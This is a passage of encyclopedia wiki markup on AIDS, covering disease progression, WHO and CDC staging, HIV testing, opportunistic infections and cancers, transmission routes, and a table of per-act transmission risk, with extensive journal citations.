  | journal=AIDS Res. Hum. Retroviruses. | year=1996 | pages=1053-1061 | volume=12 | issue=11
  | id={{PMID |8827221}}

}}&lt;/ref&gt;&lt;ref name=Morgan&gt;{{

  cite journal
  | author=Morgan, D., Mahe, C., Mayanja, B. and Whitworth, J. A.
  | title=Progression to symptomatic disease in people infected with HIV-1 in rural Uganda: prospective cohort study
  | journal=BMJ | year=2002 | pages=193-196 | volume=324 | issue=7331
  | id={{PMID |11809639}}

  cite journal
  | author=Tang, J. and Kaslow, R. A.
  | title=The impact of host genetics on HIV infection and disease progression in the era of highly active antiretroviral therapy
  | journal=AIDS | year=2003 | pages=S51-S60 | volume=17 | issue=Suppl 4
  | id={{PMID |15080180}}

}}&lt;/ref&gt;, access to health care, age and other coexisting infections &lt;ref name=Morgan2&gt;{{

  cite journal
  | author=Morgan, D., Mahe, C., Mayanja, B., Okongo, J. M., Lubega, R. and Whitworth, J. A.
  | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries?
  | journal=AIDS | year=2002 | pages=597-632 | volume=16 | issue=4
  | id={{PMID |11873003}}
}}&lt;/ref&gt;&lt;ref name=Gendelman&gt;{{

  cite journal 
  | author=Gendelman, H. E., Phelps, W., Feigenbaum, L., Ostrove, J. M., Adachi, A., Howley, P. M., Khoury, G., Ginsberg, H. S. and Martin, M. A.
  | title=Transactivation of the human immunodeficiency virus long terminal repeat sequences by DNA viruses 
  | journal=Proc. Natl. Acad. Sci. U. S. A. | year=1986 | pages=9759-9763 | volume=83 | issue=24
  | id={{PMID |2432602}}

}}&lt;/ref&gt;&lt;ref name=Bentwich&gt;{{

  cite journal 
  | author=Bentwich, Z., Kalinkovich., A. and Weisman, Z.
  | title=Immune activation is a dominant factor in the pathogenesis of African AIDS.
  | journal=Immunol. Today | year=1995 | pages=187-191 | volume=16 | issue=4
  | id={{PMID |7734046}}

}}&lt;/ref&gt;. Different strains of HIV &lt;ref name=Quinones&gt;{{

  cite journal
  | author=Quiñones-Mateu, M. E., Mas, A., Lain de Lera, T., Soriano, V., Alcami, J., Lederman, M. M. and Domingo, E. 
  | title=LTR and tat variability of HIV-1 isolates from patients with divergent rates of disease progression
  | journal=Virus Research | year=1998 | pages=11-20 | volume=57 | issue=1
  | id={{PMID |9833881}}

}}&lt;/ref&gt;&lt;ref name=Campbell&gt;{{

  cite journal
  | author=Campbell, G. R., Pasquier, E., Watkins, J., Bourgarel-Rey, V., Peyrot, V., Esquieu, D., Barbier, P., de Mareuil, J., Braguer, D., Kaleebu, P., Yirrell, D. L. and Loret E. P.
  | title=The glutamine-rich region of the HIV-1 Tat protein is involved in T-cell apoptosis
  | journal=J. Biol. Chem. | year=2004 | pages=48197-48204 | volume=279 | issue=46
  | id={{PMID |15331610}}

}}&lt;/ref&gt; may also cause different rates of clinical disease progression.
{{details|HIV Disease Progression Rates}}

==Diagnosis==
===AIDS and HIV case definitions===
Since June 18, 1981, many different definitions have been developed for epidemiological surveillance such as the [[Bangui definition]] and the [[1994 expanded World Health Organization AIDS case definition]]. However, these were never intended to be used for clinical staging of patients, for which they are neither sensitive nor specific. The [[World Health Organization]]s (WHO) staging system for HIV infection and disease, using clinical and laboratory data, can be used in developing countries and the [[Centers for Disease Control and Prevention|Centers for Disease Control]] (CDC) Classification System can be used in developed nations. 

====WHO Disease Staging System for HIV Infection and Disease====
{{main|WHO Disease Staging System for HIV Infection and Disease}}
In 1990, the [[World Health Organization]] (WHO) grouped these infections and conditions together by introducing a staging system for patients infected with HIV-1 &lt;ref name=WHO&gt;{{

  cite journal
  | author=World Health Organisation 
  | title=Interim proposal for a WHO staging system for HIV infection and disease
  | journal=WHO Wkly Epidem. Rec. | year=1990 | pages=221-228 | volume=65 | issue=29
  | id={{PMID |1974812}}

}}&lt;/ref&gt;. This was updated in September 2005. Most of these conditions are [[opportunistic infections]] that can be easily treated in healthy people.

: ''Stage I:'' HIV disease is asymptomatic and not categorized as AIDS
: ''Stage II:'' include minor mucocutaneous manifestations and recurrent upper respiratory tract infections
: ''Stage III:'' includes unexplained chronic diarrhea for longer than a month, severe bacterial infections and pulmonary tuberculosis or
: ''Stage IV'' includes [[toxoplasmosis]] of the brain, [[candidiasis]] of the esophagus, trachea, bronchi or lungs and [[Kaposi's sarcoma]]; these diseases are used as indicators of AIDS.

====CDC Classification System for HIV Infection====
{{main|CDC Classification System for HIV Infection}}
In the [[USA]], the definition of AIDS is governed by the [[Centers for Disease Control and Prevention]] (CDC). In 1993, the CDC expanded their definition of AIDS to include healthy HIV positive people with a CD4 positive T cell count of less than 200 per µl of blood. The majority of new AIDS cases in the United States are reported on the basis of a low [[T cell]] count in the presence of HIV infection &lt;ref name=MMWR&gt;{{

  cite web | author=[[CDC]] | publisher=CDC | year=1992
  | url=http://www.cdc.gov/mmwr/preview/mmwrhtml/00018871.htm 
  | title=1993 Revised Classification System for HIV Infection and Expanded Surveillance Case Definition for AIDS Among Adolescents and Adults
  | accessdate=2006-02-09

}}&lt;/ref&gt;

===HIV test===
{{main|HIV test}}
Approximately half of those infected with HIV don't know that they are infected until they are diagnosed with AIDS. HIV test kits are used to screen donor blood and blood products, and to diagnose HIV in individuals. Typical HIV tests, including the HIV enzyme immunoassay and the Western blot assay, detect HIV antibodies in serum, plasma, oral fluid, dried blood spot or urine of patients.  Other tests to look for HIV antigens, HIV-RNA, and HIV-DNA are also commercially available and can be used to detect HIV infection prior to the development of detectable antibodies.  However, these assays are not specifically approved by the U.S. Food and Drug Administration for the diagnosis of HIV infection.

==Symptoms and Complications==
[[Image:Hiv-timecourse.png|400px|thumb|right|A generalized graph of the relationship between HIV copies (viral load) and CD4 counts over the average course of untreated HIV infection; any particular individuals' disease course may vary considerably.]]
The symptoms of AIDS are primarily the result of conditions that do not normally develop in individuals with healthy [[immune system]]s. Most of these conditions are infections caused by [[bacteria]], [[virus|viruses]], [[fungus|fungi]] and [[parasite]]s that are normally controlled by the elements of the immune system that HIV damages. [[Opportunistic infection]]s are common in people with AIDS &lt;ref name=Holmes&gt;{{

  cite journal
  | author=Holmes, C. B., Losina, E., Walensky, R. P., Yazdanpanah, Y., Freedberg, K. A.
  | title=Review of human immunodeficiency virus type 1-related opportunistic infections in sub-Saharan Africa
  | journal=Clin. Infect. Dis. | year=2003 | pages=656-662 | volume=36 | issue=5
  | id={{PMID |12594648}}

}}&lt;/ref&gt;. Nearly every [[organ system]] is affected. People with AIDS also have an increased risk of developing various cancers such as [[Kaposi sarcoma]], [[cervical cancer]] and cancers of the immune system known as [[lymphoma]]s. 

Additionally, people with AIDS often have systemic symptoms of infection like [[fever]]s, [[sweat]]s (particularly at night), swollen glands, chills, weakness, and weight loss &lt;ref name=Guss&gt;{{

  cite journal
  | author=Guss, D. A.
  | title=The acquired immune deficiency syndrome: an overview for the emergency physician, Part 1
  | journal=J. Emerg. Med. | year=1994 | pages=375-384 | volume=12 | issue=3
  | id={{PMID |8040596}}

}}&lt;/ref&gt;&lt;ref name=Guss2&gt;{{

  cite journal
  | author=Guss, D. A.
  | title=The acquired immune deficiency syndrome: an overview for the emergency physician, Part 2
  | journal=J. Emerg. Med. | year=1994 | pages=491-497 | volume=12 | issue=4
  | id={{PMID |7963396}}

}}&lt;/ref&gt;. After the diagnosis of AIDS is made, the current average survival time with antiretroviral therapy is estimated to be between 4 to 5 years &lt;ref name=Schneider&gt;{{

  cite journal
  | author=Schneider, M. F., Gange, S. J., Williams, C. M., Anastos, K., Greenblatt, R. M., Kingsley, L., Detels, R., and Munoz, A.
  | title=Patterns of the hazard of death after AIDS through the evolution of antiretroviral therapy: 1984-2004
  | journal=AIDS | year=2005 | pages=2009-2018 | volume=19 | issue=17
  | id={{PMID|16260908}}

}}&lt;/ref&gt;, but because new treatments continue to be developed and because HIV continues to evolve resistance to treatments, estimates of survival time are likely to continue to change. Without antiretroviral therapy, progression to death normally occurs within a year &lt;ref name=Morgan2&gt;{{

  cite journal
  | author=Morgan, D., Mahe, C., Mayanja, B., Okongo, J. M., Lubega, R. and Whitworth, J. A.
  | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries?
  | journal=AIDS | year=2002 | pages=597-632 | volume=16 | issue=4
  | id={{PMID |11873003}}

}}&lt;/ref&gt;. Most patients die from opportunistic infections or malignancies associated with the progressive failure of the immune system &lt;ref name=Lawn&gt;{{

  cite journal
  | author=Lawn, S. D.
  | title=AIDS in Africa: the impact of coinfections on the pathogenesis of HIV-1 infection
  | journal=J. Infect. Dis. | year=2004 | pages=1-12 | volume=48 | issue=1
  | id={{PMID |14667787}}

}}&lt;/ref&gt;.

The rate of clinical disease progression varies widely between individuals and has been shown to be affected by many factors such as host susceptibility &lt;ref name=Clerici&gt;{{

  cite journal
  | author=Clerici, M., Balotta, C., Meroni, L., Ferrario, E., Riva, C., Trabattoni, D., Ridolfo, A., Villa, M., Shearer, G.M., Moroni, M. and Galli, M.
  | title=Type 1 cytokine production and low prevalence of viral isolation correlate with long-term non progression in HIV infection.
  | journal=AIDS Res. Hum. Retroviruses. | year=1996 | pages=1053-1061 | volume=12 | issue=11
  | id={{PMID |8827221}}

}}&lt;/ref&gt;&lt;ref name=Morgan&gt;{{

  cite journal 
  | author=Morgan, D., Mahe, C., Mayanja, B. and Whitworth, J. A.
  | title=Progression to symptomatic disease in people infected with HIV-1 in rural Uganda: prospective cohort study 
  | journal=BMJ | year=2002 | pages=193-196 | volume=324 | issue=7331
  | id={{PMID |11809639}}

}}&lt;/ref&gt;&lt;ref name=Tang&gt;{{

  cite journal
  | author=Tang, J. and Kaslow, R. A.
  | title=The impact of host genetics on HIV infection and disease progression in the era of highly active antiretroviral therapy 
  | journal=AIDS | year=2003 | pages=S51-S60 | volume=17 | issue=Suppl 4
  | id={{PMID |15080180}}

}}&lt;/ref&gt;, health care and co-infections &lt;ref name=Morgan2&gt;{{

  cite journal
  | author=Morgan, D., Mahe, C., Mayanja, B., Okongo, J. M., Lubega, R. and Whitworth, J. A. 
  | title=HIV-1 infection in rural Africa: is there a difference in median time to AIDS and survival compared with that in industrialized countries? 
  | journal=AIDS | year=2002 | pages=597-632 | volume=16 | issue=4 
  | id={{PMID |11873003}}

}}&lt;/ref&gt;&lt;ref name=Lawn&gt;{{

  cite journal
  | author=Lawn, S. D. 
  | title=AIDS in Africa: the impact of coinfections on the pathogenesis of HIV-1 infection 
  | journal=J. Infect. Dis. | year=2004 | pages=1-12 | volume=48 | issue=1 
  | id={{PMID |14667787}}

}}&lt;/ref&gt;, and peculiarities of the [[viral strain]] &lt;ref name=Campbell&gt;{{

  cite journal
  | author=Campbell, G. R., Pasquier, E., Watkins, J., Bourgarel-Rey, V., Peyrot, V., Esquieu, D., Barbier, P., de Mareuil, J., Braguer, D., Kaleebu, P., Yirrell, D. L. and Loret E. P. 
  | title=The glutamine-rich region of the HIV-1 Tat protein is involved in T-cell apoptosis 
  | journal=J. Biol. Chem. | year=2004 | pages=48197-48204 | volume=279 | issue=46 
  | id={{PMID |15331610}}

}}&lt;/ref&gt;&lt;ref name=Campbell2&gt;{{

  cite journal
  | author=Campbell, G. R., Watkins, J. D., Esquieu, D., Pasquier, E., Loret, E. P. and Spector, S. A. 
  | title=The C terminus of HIV-1 Tat modulates the extent of CD178-mediated apoptosis of T cells 
  | journal=J. Biol. Chem. | year=2005 | pages=38376-39382 | volume=280 | issue=46 
  | id={{PMID |16155003}}

}}&lt;/ref&gt;&lt;ref name=Senkaali&gt;{{

  cite journal 
  | author=Senkaali, D., Muwonge, R., Morgan, D., Yirrell, D., Whitworth, J. and Kaleebu, P. 
  | title=The relationship between HIV type 1 disease progression and V3 serotype in a rural Ugandan cohort 
  | journal=AIDS Res. Hum. Retroviruses. | year=2005 | pages=932-937 | volume=20 | issue=9 
  | id={{PMID |15585080}}

}}&lt;/ref&gt;. Also, the specific opportunistic infections that AIDS patients develop depends in part on the prevalence of these infections in the geographic area in which the patient lives.

===The major pulmonary illnesses===
*'''''Pneumocystis jiroveci'' pneumonia''': [[Pneumocystis jiroveci pneumonia|''Pneumocystis jiroveci'' pneumonia]] (originally known as ''Pneumocystis carinii'' pneumonia, often abbreviated PCP) is relatively rare in normal, [[immunocompetent]] people but common among HIV-infected individuals. Before the advent of effective treatment and diagnosis in Western countries it was a common immediate cause of death. In developing countries, it is still one of the first indications of AIDS in untested individuals, although it does not generally occur unless the CD4 count is less than 200 per µl &lt;ref name=Feldman&gt;{{

  cite journal 
  | author=Feldman, C. 
  | title=Pneumonia associated with HIV infection 
  | journal=Curr. Opin. Infect. Dis. | year=2005 | pages=165-170 | volume=18 | issue=2 
  | id={{PMID|15735422}}

}}&lt;/ref&gt;. 

*'''Tuberculosis''': Among infections associated with HIV, [[tuberculosis]] (TB) is unique in that it may be transmitted to immunocompetent persons via the respiratory route, is easily treatable once identified, may occur in early-stage HIV disease, and is preventable with drug therapy. However, multi-drug resistance is a potentially serious problem. Even though its incidence has declined because of the use of directly observed therapy and other improved practices in Western countries, this is not the case in developing countries where HIV is most prevalent. In early-stage HIV infection (CD4 count &amp;gt;300 cells per µl), TB typically presents as a pulmonary disease. In advanced HIV infection, TB may present atypically and extrapulmonary TB is common infecting [[bone marrow]], [[bone]], urinary and [[gastrointestinal tract]]s, liver, regional lymph nodes, and the central nervous system &lt;ref name=Decker&gt;{{

  cite journal 
  | author=Decker, C. F. and Lazarus, A. 
  | title=Tuberculosis and HIV infection. How to safely treat both disorders concurrently 
  | journal=Postgrad Med. | year=2000 | pages=57-60, 65-68 | volume=108 | issue=2 
  | id={{PMID|10951746}}

}}&lt;/ref&gt;.

===The major gastro-intestinal illnesses===
* '''Esophagitis''': [[Esophagitis]] is an inflammation of the lining of the lower end of the [[esophagus]] (gullet or swallowing tube leading to the stomach). In HIV infected individuals, this could be due to fungus ([[candidiasis]]), virus ([[Herpes simplex virus|herpes simplex-1]] or [[cytomegalovirus]]). In rare cases, it could be due to [[mycobacteria]] &lt;ref name=Zaidi&gt;{{

  cite journal 
  | author=Zaidi, S. A. and Cervia, J. S. 
  | title=Diagnosis and management of infectious esophagitis associated with human immunodeficiency virus infection 
  | journal=J. Int. Assoc. Physicians AIDS Care (Chic Ill) | year=2002 | pages=53-62 | volume=1 | issue=2 
  | id={{PMID|12942677}}

}}&lt;/ref&gt;. 

* '''Unexplained chronic diarrhea''': In HIV infection, there are many possible causes of [[diarrhea]], including common bacterial (''[[Salmonella]]'', ''[[Shigella]]'', ''[[Listeria]]'', ''[[Campylobacter]]'', or ''[[Escherichia coli]]'') and parasitic infections, and uncommon opportunistic infections such as [[cryptosporidiosis]], [[microsporidiosis]], ''[[Mycobacterium avium]]'' complex (MAC) and cytomegalovirus (CMV) colitis. Diarrhea may follow a course of antibiotics (common for ''[[Clostridium difficile]]''). It may also be a side effect of several drugs used to treat HIV, or it may simply accompany HIV infection, particularly during primary HIV infection. In the later stages of HIV infection, diarrhea is thought to be a reflection of changes in the way the intestinal tract absorbs nutrients, and may be an important component of HIV-related wasting &lt;ref name=Guerrant&gt;{{

  cite journal 
  | author=Guerrant, R. L., Hughes, J. M., Lima, N. L., Crane, J. 
  | title=Diarrhea in developed and developing countries: magnitude, special settings, and etiologies 
  | journal=Rev. Infect. Dis. | year=1990 | pages=S41-S50 | volume=12 | issue=Suppl 1 
  | id={{PMID|2406855}}

}}&lt;/ref&gt;.

===The major neurological illnesses===
* '''Toxoplasmosis''': [[Toxoplasmosis]] is a disease caused by the single-celled parasite called ''Toxoplasma gondii''. ''T. gondii'' usually infects the brain causing toxoplasma encephalitis. It can also infect and cause disease in the eyes and lungs &lt;ref name=Luft&gt;{{

  cite journal 
  | author=Luft, B. J. and Chua, A.
  | title=Central Nervous System Toxoplasmosis in HIV Pathogenesis, Diagnosis, and Therapy 
  | journal=Curr. Infect. Dis. Rep. | year=2000 | pages=358-362 | volume=2 | issue=4 
  | id={{PMID|11095878}}

}}&lt;/ref&gt;.

* '''Progressive multifocal leukoencephalopathy''': [[Progressive multifocal leukoencephalopathy]] (PML) is a [[demyelinating disease]], in which the [[myelin]] sheath covering the [[axons]] of nerve cells is gradually destroyed, impairing the transmission of nerve impulses. It is caused by a virus called [[JC virus]] which occurs in 70% of the population in [[latent]] form, causing disease only when the immune system has been severly weakened, as is the case for AIDS patients. It progresses rapidly, usually causing death within months of diagnosis &lt;ref name=Sadler&gt;{{

  cite journal 
  | author=Sadler, M. and Nelson, M. R. 
  | title=Progressive multifocal leukoencephalopathy in HIV 
  | journal=Int. J. STD AIDS  | year=1997 | pages=351-357 | volume=8 | issue=6 
  | id={{PMID|9179644}}

}}&lt;/ref&gt;.

* '''HIV-associated dementia''': HIV-1 associated dementia (HAD) is a metabolic [[encephalopathy]] induced by HIV infection and fueled by immune activation of brain [[macrophage]]s and [[microglia]] &lt;ref name=Gray&gt;{{

  cite journal
  | author=Gray, F., Adle-Biassette, H., Chrétien, F., Lorin de la Grandmaison, G., Force, G., Keohane, C. 
  | title=Neuropathology and neurodegeneration in human immunodeficiency virus infection. Pathogenesis of HIV-induced lesions of the brain, correlations with HIV-associated disorders and modifications according to treatments 
  | journal=Clin. Neuropathol. | year=2001 | pages=146-155 | volume=20 | issue=4 
  | id={{PMID|11495003}}

}}&lt;/ref&gt;. These cells are actively infected with HIV and secrete neurotoxins of both host and viral origin. Specific neurologic impairments are manifested by cognitive, behavioral, and motor abnormalities that occur after years of HIV infection and is associated with low CD4+ T cell levels and high plasma viral loads. Prevalence is between 10-20% in Western countries &lt;ref name=Grant&gt;{{

  cite book 
  | author = Grant, I., Sacktor, H., and McArthur, J. 
  | year = 2005 
  | title = The Neurology of AIDS 
  | chapter = HIV neurocognitive disorders 
  | chapterurl = http://www.hnrc.ucsd.edu/publications_pdf/2005grant1.pdf 
  | editor = H. E. Gendelman, I. Grant, I. Everall, S. A. Lipton, and S. Swindells. (ed.) 
  | edition = 2nd 
  | pages = 357-373 
  | publisher = Oxford University Press 
  | location = London, U.K. 
  | id = ISBN 0198526105

}}&lt;/ref&gt; and has only been seen in 1-2% of India based infections &lt;ref name=Satischandra&gt;{{

  cite journal 
  | author=Satishchandra, P., Nalini, A., Gourie-Devi, M., Khanna, N., Santosh, V., Ravi, V., Desai, A., Chandramuki, A., Jayakumar, P. N., and Shankar, S. K. 
  | title=Profile of neurologic disorders associated with HIV/AIDS from Bangalore, south India (1989-96) 
  | journal=Indian J. Med. Res.  | year=2000 | pages=14-23 | volume=11 | issue= 
  | id={{PMID|10793489}}

}}&lt;/ref&gt;&lt;ref name=Wadia&gt;{{

  cite journal 
  | author=Wadia, R. S., Pujari, S. N., Kothari, S., Udhar, M., Kulkarni, S., Bhagat, S., and Nanivadekar, A.
  | title=Neurological manifestations of HIV disease 
  | journal=J. Assoc. Physicians India | year=2001 | pages=343-348 | volume=49 | issue= 
  | id={{PMID|11291974}}

}}&lt;/ref&gt;.

* '''Cryptococcal meningitis''' This infection of the [[meninges]] (the membrane covering the brain and spinal cord) by the fungus ''[[Cryptococcus]] neoformans'' can cause fevers, headache, fatigue, nausea, and vomiting.  Patients may also develop seizures and confusion. If untreated, it can be lethal.

===The major HIV-associated malignancies===
Patients with HIV infection have substantially increased incidence of several malignancies &lt;ref name=Boshoff&gt;{{

  cite journal 
  | author=Boshoff, C. and Weiss, R. 
  | title=AIDS-related malignancies 
  | journal=Nat. Rev. Cancer | year=2002 | pages=373-382 | volume=2 | issue=5 
  | id={{PMID|12044013}}

}}&lt;/ref&gt;&lt;ref name=Yarchoan&gt;{{

  cite journal 
  | author=Yarchoan, R., Tosatom G. and Littlem R. F. 
  | title=Therapy insight: AIDS-related malignancies - the influence of antiviral therapy on pathogenesis and management 
  | journal=Nat. Clin. Pract. Oncol. | year=2005 | pages=406-415 | volume=2 | issue=8 
  | id={{PMID|16130937}}

}}&lt;/ref&gt;. Several of these, [[Kaposi's sarcoma]], high-grade [[lymphoma]], and [[cervical cancer]] confer a diagnosis of AIDS when they occur in an HIV-infected person.
   
* '''Kaposi's sarcoma:''' [[Kaposi's sarcoma]] is the most common tumor in HIV-infected patients.  The appearance of this tumor in young gay men in 1981 was one of the first signals of the AIDS epidemic.  It is caused by a gammaherpesvirus called [[Kaposi's sarcoma-associated herpes virus]] (KSHV).  It often appears as purplish nodules on the skin, but other organs, especially the mouth, gastrointestinal tract, and lungs can be affected.

* '''High-grade lymphoma:''' Several high-grade B cell lymphomas have substantially increased incidence in HIV-infected patients and often portend a poor prognosis.  The most common AIDS-defining lymphomas are [[Burkitt's lymphoma]], Burkitt's-like lymphoma, and diffuse large B-cell lymphoma (DLBCL), including primary central nervous system lymphoma.  [[Primary effusion lymphoma]] is less common.  Many of these lymphomas are caused by either [[Epstein-Barr virus]] (EBV) or KSHV.

* '''Cervical cancer:''' [[Cervical cancer]] in HIV-infected women is also considered AIDS-defining.  It is caused by [[human papillomavirus]] (HPV).

* '''Other tumors:''' In addition to the AIDS-defining tumors listed above, HIV-infected patients are also at increased risk of certain other tumors, such as [[Hodgkin's disease]] and [[anal carcinoma|anal]] and [[rectal carcinoma|rectal carcinomas]].  However, the incidence of many common tumors, such as [[breast cancer]] or [[colon cancer]], are not increased in HIV-infected patients.  Most AIDS-associated malignancies are caused by co-infection of patients with an oncogenic DNA virus, especially [[Epstein-Barr virus]] (EBV), [[Kaposi's sarcoma-associated herpesvirus]] (KSHV), and [[human papillomavirus]] (HPV).  In areas where [[HAART]] is extensively used to treat AIDS, the incidence of many AIDS-related malignancies has decreased, but at the same time malignancies overall have become the most common cause of death of HIV-infected patients &lt;ref name=Bonnet&gt;{{

  cite journal 
  | author=Bonnet, F., Lewden, C., May, T., Heripret, L., Jougla, E., Bevilacqua, S., Costagliola, D., Salmon, D., Chene, G. and Morlat, P. 
  | title=Malignancy-related causes of death in human immunodeficiency virus-infected patients in the era of highly active antiretroviral therapy 
  | journal=Cancer | year=2004 | pages=317-324 | volume=101 | issue=2 
  | id={{PMID|15241829}}

}}&lt;/ref&gt;.

===Other opportunistic infections===
Patients with AIDS and severe immunosuppression often develop opportunistic infections that present with non-specific symptoms, especially low grade fevers and weight loss.  These include infection with ''[[Mycobacterium avium]]-intracellulare'' and [[cytomegalovirus]] (CMV). CMV can also cause colitis, as described above, and CMV retinitis can cause blindness. [[Penicilliosis]] due to ''[[Penicillium marneffei]]'' is now the third most common opportunistic infection (after extrapulmonary tuberculosis and cryptococcosis) in HIV-positive individuals within the endemic area of Southeast Asia &lt;ref name=Skoulidis&gt;{{

  cite journal 
  | author=Skoulidis, F., Morgan, M. S., and MacLeod, K. M. 
  | title=Penicillium marneffei: a pathogen on our doorstep?
  | journal=J. R. Soc. Med.| year=2004 | pages=394-396 | volume=97 | issue=2 
  | id={{PMID|15286196}}

}}&lt;/ref&gt;.

==Transmission==
Since the beginning of the [[epidemic]], three main transmission routes of HIV have been identified:

* '''Sexual route.''' The majority of HIV infections have been, and still are, acquired through unprotected sexual relations. Sexual transmission occurs when there is contact between sexual secretions of one partner with the rectal, genital or mouth [[Mucous membrane|mucous membranes]] of another.

* '''Blood or blood product route.''' This transmission route is particularly important for intravenous drug users, [[Haemophilia|hemophiliac]]s and recipients of [[blood transfusion]]s and blood products. Health care workers (nurses, laboratory workers, doctors etc) are also concerned, although more rarely. Also concerned by this route are people who give and receive tattoos and piercings.

* '''Mother-to-child route (vertical transmission).''' The transmission of the virus from the mother to the child can occur ''in utero'' during the last weeks of pregnancy and at childbirth. Breast feeding also presents a risk of infection for the baby. In the absence of treatment, the transmission rate between the mother and child was 20%. However, where treatment is available, combined with the availability of [[Cesarian section]], this has been reduced to 1%.

HIV has been found in the [[saliva]], [[tears]] and [[urine]] of infected individuals, but due to the low concentration of virus in these biological liquids, the risk is considered to be negligible.

==Prevention==
{| class=&quot;wikitable&quot; align=right border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=&quot;#efefef&quot;
! colspan=5 style=&quot;border-right:0px;&quot;;| Estimated per act risk for acquisition of HIV, &lt;br /&gt;by exposure route, assuming no condom use
|- bgcolor=&quot;#efefef&quot;
| '''Exposure Route''' 
| '''Risk per 10,000 exposures &lt;br /&gt;to an infected source''' 
|-
| Blood Transfusion  || 9,000&lt;ref name=Donegan&gt;{{

  cite journal | author=Donegan, E., Stuart, M., Niland, J. C., Sacks, H. S., Azen, S. P., Dietrich, S. L., Faucett, C., Fletcher, M. A., Kleinman, S. H., Operskalski, E. A., et al.  | title=Infection with human immunodeficiency virus type 1 (HIV-1) among recipients of antibody-positive blood donations | journal=Ann. Intern. Med.  | year=1990 | pages=733-739 | volume=113 | issue=10 
  | id={{PMID|2240875}}

}}&lt;/ref&gt;
|-
| Needle-sharing injection drug use  || 67 &lt;ref name=Kaplan&gt;{{

  cite journal | author=Kaplan, E. H. and Heimer, R.  | title=HIV incidence among New Haven needle exchange participants: updated estimates from syringe tracking and testing data | journal=J. Acquir. Immune Defic. Syndr. Hum. Retrovirol. | year=1995 | pages=175-176 | volume=10 | issue=2 
  | id={{PMID|7552482}}

}}&lt;/ref&gt;
|-
| Receptive anal intercourse || 50 &lt;ref name=ESG&gt;{{

  cite journal | author=European Study Group on Heterosexual Transmission of HIV  | title=Comparison of female to male and male to female transmission of HIV in 563 stable couples | journal=BMJ. | year=1992 | pages=809-813 | volume=304 | issue=6830 | id={{PMID|1392708}}

}}&lt;/ref&gt;&lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;
|-
| Percutaneous needle stick || 30 &lt;ref name=Bell&gt;{{

  cite journal | author=Bell, D. M. | title=Occupational risk of human immunodeficiency virus infection in healthcare workers: an overview. | journal=Am. J. Med. | year=1997 | pages=9-15 | volume=102 | issue=5B | id={{PMID|9845490}}

}}&lt;/ref&gt;
|-
| Receptive penile-vaginal intercourse  || 10 &lt;ref name=ESG&gt;{{

  cite journal | author=European Study Group on Heterosexual Transmission of HIV  | title=Comparison of female to male and male to female transmission of HIV in 563 stable couples | journal=BMJ. | year=1992 | pages=809-813 | volume=304 | issue=6830 | id={{PMID|1392708}}

}}&lt;/ref&gt;&lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;&lt;ref name=Leynaert&gt;{{

  cite journal | author=Leynaert, B., Downs, A. M. and de Vincenzi, I. | title=Heterosexual transmission of human immunodeficiency virus: variability of infectivity throughout the course of infection. European Study Group on Heterosexual Transmission of HIV | journal=Am. J. Epidemiol. | year=1998 | pages=88-96 | volume=148 | issue=1 | id={{PMID|9663408}}

}}&lt;/ref&gt;
|-
| Insertive anal intercourse  || 6.5 &lt;ref name=ESG&gt;{{

  cite journal | author=European Study Group on Heterosexual Transmission of HIV  | title=Comparison of female to male and male to female transmission of HIV in 563 stable couples | journal=BMJ. | year=1992 | pages=809-813 | volume=304 | issue=6830 | id={{PMID|1392708}}

}}&lt;/ref&gt;&lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;
|-
| Insertive penile-vaginal intercourse || 5 &lt;ref name=ESG&gt;{{

  cite journal | author=European Study Group on Heterosexual Transmission of HIV  | title=Comparison of female to male and male to female transmission of HIV in 563 stable couples | journal=BMJ. | year=1992 | pages=809-813 | volume=304 | issue=6830 | id={{PMID|1392708}}

}}&lt;/ref&gt;&lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;
|-
| Receptive oral intercourse || 1 &lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;
|-
| Insertive oral intercourse || 0.5 &lt;ref name=Varghese&gt;{{

  cite journal | author=Varghese, B., Maher, J. E., Peterman, T. A., Branson, B. M. and Steketee, R. W.  | title=Reducing the risk of sexual HIV transmission: quantifying the per-act risk for HIV on the basis of choice of partner, sex act, and condom use | journal=Sex. Transm. Dis. | year=2002 | pages=38-43 | volume=29 | issue=1 | id={{PMID|11773877}}

}}&lt;/ref&gt;
|}
The diverse transmission routes of HIV are well-known and established. Also well-known is how to prevent transmission of HIV. However, recent epidemiological and behavioral studies in Europe and North America have suggested that a substantial minority of young people continue to engage in high-risk practices and that despite HIV/AIDS knowledge, young people underestimate their own risk of becoming infected with HIV &lt;ref name=Dias&gt;{{

  cite journal
